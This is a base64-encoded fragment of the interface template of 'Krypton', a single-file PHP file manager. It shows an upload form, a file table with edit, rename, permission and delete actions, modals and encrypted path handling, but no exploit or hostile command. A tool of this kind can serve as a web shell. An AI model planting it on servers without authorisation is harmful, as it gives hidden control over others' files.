0aDogMTAwJTtcclxuICAgICAgICAgICAgICAgIGhlaWdodDogMTAwJTtcclxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTtcclxuICAgICAgICAgICAgICAgIHotaW5kZXg6IDIwMDA7XHJcbiAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcclxuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIC5zcGlubmVyIHtcclxuICAgICAgICAgICAgICAgIHdpZHRoOiA1MHB4O1xyXG4gICAgICAgICAgICAgICAgaGVpZ2h0OiA1MHB4O1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyOiA1cHggc29saWQgI2YzZjNmMztcclxuICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDVweCBzb2xpZCAjMzQ5OGRiO1xyXG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlO1xyXG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBzcGluIDFzIGxpbmVhciBpbmZpbml0ZTtcclxuICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgQGtleWZyYW1lcyBzcGluIHtcclxuICAgICAgICAgICAgICAgIDAlIHtcclxuICAgICAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIDEwMCUge1xyXG4gICAgICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XHJcbiAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgIFwvKiBSZXNwb25zaXZlIGRlc2lnbiAqXC9cclxuICAgICAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2OHB4KSB7XHJcbiAgICAgICAgICAgICAgICAudXBsb2FkLWZvcm0ge1xyXG4gICAgICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XHJcbiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7XHJcbiAgICAgICAgICAgICAgICB9XHJcblxyXG4gICAgICAgICAgICAgICAgLnVwbG9hZC1mb3JtIGlucHV0W3R5cGU9XCJmaWxlXCJdIHtcclxuICAgICAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcclxuICAgICAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgICAgICAuYWN0aW9uLWJ1dHRvbnMge1xyXG4gICAgICAgICAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDtcclxuICAgICAgICAgICAgICAgIH1cclxuXHJcbiAgICAgICAgICAgICAgICAuc2VjdGlvbi1oZWFkZXIge1xyXG4gICAgICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XHJcbiAgICAgICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnQ7XHJcbiAgICAgICAgICAgICAgICAgICAgZ2FwOiAxMHB4O1xyXG4gICAgICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgICAgIC5zZWN0aW9uLWFjdGlvbnMge1xyXG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xyXG4gICAgICAgICAgICAgICAgfVxyXG5cclxuICAgICAgICAgICAgICAgIC5idG4ge1xyXG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xyXG4gICAgICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgPFwvc3R5bGU+XHJcbiAgICA8XC9oZWFkPlxyXG4gICAgPGJvZHk+XHJcbiAgICAgICAgPCEtLSBMb2FkaW5nIE92ZXJsYXkgLS0+XHJcbiAgICAgICAgPGRpdiBpZD1cImxvYWRpbmdPdmVybGF5XCIgY2xhc3M9XCJsb2FkaW5nLW92ZXJsYXlcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cInNwaW5uZXJcIj48XC9kaXY+XHJcbiAgICAgICAgPFwvZGl2PlxyXG5cclxuICAgICAgICA8IS0tIE5hdmlnYXRpb24gQmFyIC0tPlxyXG4gICAgICAgIDxuYXYgY2xhc3M9XCJuYXZiYXJcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbnRhaW5lciBuYXZiYXItY29udGVudFwiPlxyXG4gICAgICAgICAgICAgICAgPGgxPktyeXB0b24gPHNwYW4gY2xhc3M9XCJ2ZXJzaW9uXCI+djw/cGhwIGVjaG8gQ29uZmlnOjpWRVJTSU9OOyA/PjxcL3NwYW4+PFwvaDE+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibmF2YmFyLWFjdGlvbnNcIj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJuYXZpZ2F0ZVRvKCc8P3BocCBlY2hvICRlbmNyeXB0ZWRIb21lRGlyZWN0b3J5OyA/PicpXCIgY2xhc3M9XCJob21lLWJ0blwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImhvbWUtaWNvblwiPlx1ZDgzY1x1ZGZlMDxcL3NwYW4+IEhvbWVcclxuICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICA8XC9uYXY+XHJcblxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb250YWluZXJcIj5cclxuICAgICAgICAgICAgPCEtLSBBbGVydHMgLS0+XHJcbiAgICAgICAgICAgIDw/cGhwIGlmICghZW1wdHkoJGVuY3J5cHRpb25LZXlXYXJuaW5nKSk6ID8+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtd2FybmluZ1wiPjw/cGhwIGVjaG8gJGVuY3J5cHRpb25LZXlXYXJuaW5nOyA/PjxcL2Rpdj5cclxuICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcblxyXG4gICAgICAgICAgICA8P3BocCBpZiAoIWVtcHR5KCRzdWNjZXNzKSk6ID8+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtc3VjY2Vzc1wiPjw/cGhwIGVjaG8gJHN1Y2Nlc3M7ID8+PFwvZGl2PlxyXG4gICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuXHJcbiAgICAgICAgICAgIDw/cGhwIGlmICghZW1wdHkoJGVycm9yKSk6ID8+XHJcbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZXJyb3JcIj48P3BocCBlY2hvICRlcnJvcjsgPz48XC9kaXY+XHJcbiAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxyXG5cclxuICAgICAgICAgICAgPCEtLSBCcmVhZGNydW1iIE5hdmlnYXRpb24gLS0+XHJcbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJicmVhZGNydW1iXCI+XHJcbiAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkYnJlYWRjcnVtYnMgYXMgJGluZGV4ID0+ICRjcnVtYik6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpbmRleCA+IDApOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImJyZWFkY3J1bWItc2VwYXJhdG9yXCI+XHUyMDNhPFwvc3Bhbj5cclxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuXHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJyZWFkY3J1bWItaXRlbVwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGluZGV4ID09PSBjb3VudCgkYnJlYWRjcnVtYnMpIC0gMSk6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImJyZWFkY3J1bWItY3VycmVudFwiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3J1bWJbJ25hbWUnXSk7ID8+PFwvc3Bhbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIG9uY2xpY2s9XCJuYXZpZ2F0ZVRvKCc8P3BocCBlY2hvICRjcnVtYlsnZW5jcnlwdGVkUGF0aCddOyA/PicpXCI+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjcnVtYlsnbmFtZSddKTsgPz48XC9hPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PlxyXG4gICAgICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgICAgICA8IS0tIFVwbG9hZCBTZWN0aW9uIC0tPlxyXG4gICAgICAgICAgICA8c2VjdGlvbiBjbGFzcz1cInNlY3Rpb25cIj5cclxuICAgICAgICAgICAgICAgIDxoMiBjbGFzcz1cInNlY3Rpb24tdGl0bGVcIj5VcGxvYWQgRmlsZXM8XC9oMj5cclxuICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPVwidXBsb2FkLWZvcm1cIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydFwvZm9ybS1kYXRhXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY3VycmVudF9wYXRoXCIgdmFsdWU9XCI8P3BocCBlY2hvICRlbmNyeXB0ZWRDdXJyZW50UGF0aDsgPz5cIj5cclxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ1cGxvYWRcIiBjbGFzcz1cImJ0blwiPlVwbG9hZCBGaWxlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgPFwvc2VjdGlvbj5cclxuXHJcbiAgICAgICAgICAgIDwhLS0gRmlsZSBMaXN0IFNlY3Rpb24gLS0+XHJcbiAgICAgICAgICAgIDxzZWN0aW9uIGNsYXNzPVwic2VjdGlvblwiPlxyXG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInNlY3Rpb24taGVhZGVyXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgyIGNsYXNzPVwic2VjdGlvbi10aXRsZVwiPkZpbGVzPFwvaDI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInNlY3Rpb24tYWN0aW9uc1wiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tc3VjY2Vzc1wiIG9uY2xpY2s9XCJzaG93Q3JlYXRlRmlsZU1vZGFsKClcIj5OZXcgRmlsZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tc21cIiBvbmNsaWNrPVwic2hvd0NyZWF0ZUZvbGRlck1vZGFsKClcIj5OZXcgRm9sZGVyPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmaWxlLXRhYmxlLWNvbnRhaW5lclwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cImZpbGUtdGFibGVcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRoZWFkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5GaWxlbmFtZTxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb25zPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPkxhc3QgTW9kaWZpZWQ8XC90aD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RoZWFkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIFBhcmVudCBkaXJlY3RvcnkgbGluayAtLT5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkY3VycmVudFBhdGggIT09ICdcLycpOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGUtbmFtZVwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiZm9sZGVyLWljb25cIj48XC9zcGFuPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIG9uY2xpY2s9XCJuYXZpZ2F0ZVRvKCc8P3BocCBlY2hvICRzZWN1cml0eU1hbmFnZXItPmVuY3J5cHRQYXRoKGRpcm5hbWUoJGN1cnJlbnRQYXRoKSk7ID8+JylcIj4uLjxcL2E+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+LTxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+LTxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+LTxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+LTxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcblxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBGaWxlIGxpc3QgLS0+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZpbGUtbmFtZVwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiPD9waHAgZWNobyAkaXRlbS0+aXNEaXJlY3RvcnkgPyAnZm9sZGVyLWljb24nIDogJ2ZpbGUtaWNvbic7ID8+XCI+PFwvc3Bhbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW0tPmlzRGlyZWN0b3J5KTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgb25jbGljaz1cIm5hdmlnYXRlVG8oJzw/cGhwIGVjaG8gJGl0ZW0tPmVuY3J5cHRlZFBhdGg7ID8+JylcIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0tPm5hbWUpOyA/PjxcL2E+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtLT5uYW1lKTsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRpdGVtLT5zaXplOyA/PjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkaXRlbS0+cGVybWlzc2lvbnM7ID8+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRpdGVtLT5sYXN0TW9kaWZpZWQ7ID8+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJhY3Rpb24tYnV0dG9uc1wiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghJGl0ZW0tPmlzRGlyZWN0b3J5KTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz1cImFjdGlvbi1idG5cIiB0aXRsZT1cIkRvd25sb2FkXCIgb25jbGljaz1cImRvd25sb2FkRmlsZSgnPD9waHAgZWNobyAkaXRlbS0+ZW5jcnlwdGVkUGF0aDsgPz4nKVwiPlx1ZDgzZFx1ZGNlNTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtLT5pc0VkaXRhYmxlKTogPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9XCJhY3Rpb24tYnRuXCIgdGl0bGU9XCJFZGl0XCIgb25jbGljaz1cInNob3dFZGl0RmlsZU1vZGFsKCc8P3BocCBlY2hvIGFkZHNsYXNoZXMoJGl0ZW0tPmVuY3J5cHRlZFBhdGgpOyA/PicsICc8P3BocCBlY2hvIGFkZHNsYXNoZXMoJGl0ZW0tPm5hbWUpOyA/PicpXCI+XHVkODNkXHVkY2RkPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwiYWN0aW9uLWJ0blwiIHRpdGxlPVwiUmVuYW1lXCIgb25jbGljaz1cInNob3dSZW5hbWVNb2RhbCgnPD9waHAgZWNobyBhZGRzbGFzaGVzKCRpdGVtLT5lbmNyeXB0ZWRQYXRoKTsgPz4nLCAnPD9waHAgZWNobyBhZGRzbGFzaGVzKCRpdGVtLT5uYW1lKTsgPz4nKVwiPlx1MjcwZlx1ZmUwZjxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPVwiYWN0aW9uLWJ0blwiIHRpdGxlPVwiQ2hhbmdlIFBlcm1pc3Npb25zXCIgb25jbGljaz1cInNob3dQZXJtaXNzaW9uc01vZGFsKCc8P3BocCBlY2hvIGFkZHNsYXNoZXMoJGl0ZW0tPmVuY3J5cHRlZFBhdGgpOyA/PicsICc8P3BocCBlY2hvIGFkZHNsYXNoZXMoJGl0ZW0tPm5hbWUpOyA/PicpXCI+XHVkODNkXHVkZDEyPFwvYnV0dG9uPlxyXG5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTtcIiBvbnN1Ym1pdD1cInJldHVybiBjb25maXJtRGVsZXRlKHRoaXMsICc8P3BocCBlY2hvICRpdGVtLT5pc0RpcmVjdG9yeSA/ICdkaXJlY3RvcnknIDogJ2ZpbGUnOyA/PicpO1wiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJjdXJyZW50X3BhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJGVuY3J5cHRlZEN1cnJlbnRQYXRoOyA/PlwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0tPmVuY3J5cHRlZFBhdGgpOyA/PlwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZGVsZXRlXCIgY2xhc3M9XCJhY3Rpb24tYnRuXCIgdGl0bGU9XCJEZWxldGVcIj5cdWQ4M2RcdWRkZDFcdWZlMGY8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuXHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGJvZHk+XHJcbiAgICAgICAgICAgICAgICAgICAgPFwvdGFibGU+XHJcbiAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgIDxcL3NlY3Rpb24+XHJcblxyXG4gICAgICAgICAgICA8Zm9vdGVyIGNsYXNzPVwiZm9vdGVyXCI+XHJcbiAgICAgICAgICAgICAgICBLcnlwdG9uIEZpbGUgTWFuYWdlciB2PD9waHAgZWNobyBDb25maWc6OlZFUlNJT047ID8+IHwgU2luZ2xlLWZpbGUgUEhQIEZpbGUgTWFuYWdlciAoT09QIFZlcnNpb24pXHJcbiAgICAgICAgICAgIDxcL2Zvb3Rlcj5cclxuICAgICAgICA8XC9kaXY+XHJcblxyXG4gICAgICAgIDwhLS0gUmVuYW1lIE1vZGFsIC0tPlxyXG4gICAgICAgIDxkaXYgaWQ9XCJyZW5hbWVNb2RhbFwiIGNsYXNzPVwibW9kYWxcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIj5cclxuICAgICAgICAgICAgICAgIDxoMyBjbGFzcz1cIm1vZGFsLXRpdGxlXCI+UmVuYW1lOiA8c3BhbiBpZD1cInJlbmFtZUZpbGVOYW1lXCI+PFwvc3Bhbj48XC9oMz5cclxuICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPVwibW9kYWwtZm9ybVwiIG1ldGhvZD1cInBvc3RcIj5cclxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJjdXJyZW50X3BhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJGVuY3J5cHRlZEN1cnJlbnRQYXRoOyA/PlwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJyZW5hbWVPbGRQYXRoXCIgbmFtZT1cIm9sZFBhdGhcIiB2YWx1ZT1cIlwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJyZW5hbWVOZXdOYW1lXCI+TmV3IE5hbWU6PFwvbGFiZWw+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIGlkPVwicmVuYW1lTmV3TmFtZVwiIG5hbWU9XCJuZXdOYW1lXCIgcmVxdWlyZWQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1hY3Rpb25zXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1jYW5jZWxcIiBvbmNsaWNrPVwiaGlkZU1vZGFsKCdyZW5hbWVNb2RhbCcpXCI+Q2FuY2VsPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgY2xhc3M9XCJidG5cIj5SZW5hbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgIDxcL2Rpdj5cclxuXHJcbiAgICAgICAgPCEtLSBQZXJtaXNzaW9ucyBNb2RhbCAtLT5cclxuICAgICAgICA8ZGl2IGlkPVwicGVybWlzc2lvbnNNb2RhbFwiIGNsYXNzPVwibW9kYWxcIj5cclxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIj5cclxuICAgICAgICAgICAgICAgIDxoMyBjbGFzcz1cIm1vZGFsLXRpdGxlXCI+Q2hhbmdlIFBlcm1pc3Npb25zOiA8c3BhbiBpZD1cInBlcm1pc3Npb25zRmlsZU5hbWVcIj48XC9zcGFuPjxcL2gzPlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1mb3JtXCIgbWV0aG9kPVwicG9zdFwiPlxyXG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImN1cnJlbnRfcGF0aFwiIHZhbHVlPVwiPD9waHAgZWNobyAkZW5jcnlwdGVkQ3VycmVudFBhdGg7ID8+XCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cInBlcm1pc3Npb25zUGF0aFwiIG5hbWU9XCJwZXJtUGF0aFwiIHZhbHVlPVwiXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tZ3JvdXBcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cInBlcm1pc3Npb25zT2N0YWxcIj5QZXJtaXNzaW9ucyAoT2N0YWwpOjxcL2xhYmVsPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBpZD1cInBlcm1pc3Npb25zT2N0YWxcIiBuYW1lPVwicGVybWlzc2lvbnNcIiBwbGFjZWhvbGRlcj1cImUuZy4sIDA3NTVcIiByZXF1aXJlZD5cclxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWFjdGlvbnNcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwiYnV0dG9uXCIgY2xhc3M9XCJidG4gYnRuLWNhbmNlbFwiIG9uY2xpY2s9XCJoaWRlTW9kYWwoJ3Blcm1pc3Npb25zTW9kYWwnKVwiPkNhbmNlbDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNoYW5nZVBlcm1pc3Npb25zXCIgY2xhc3M9XCJidG5cIj5BcHBseTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XH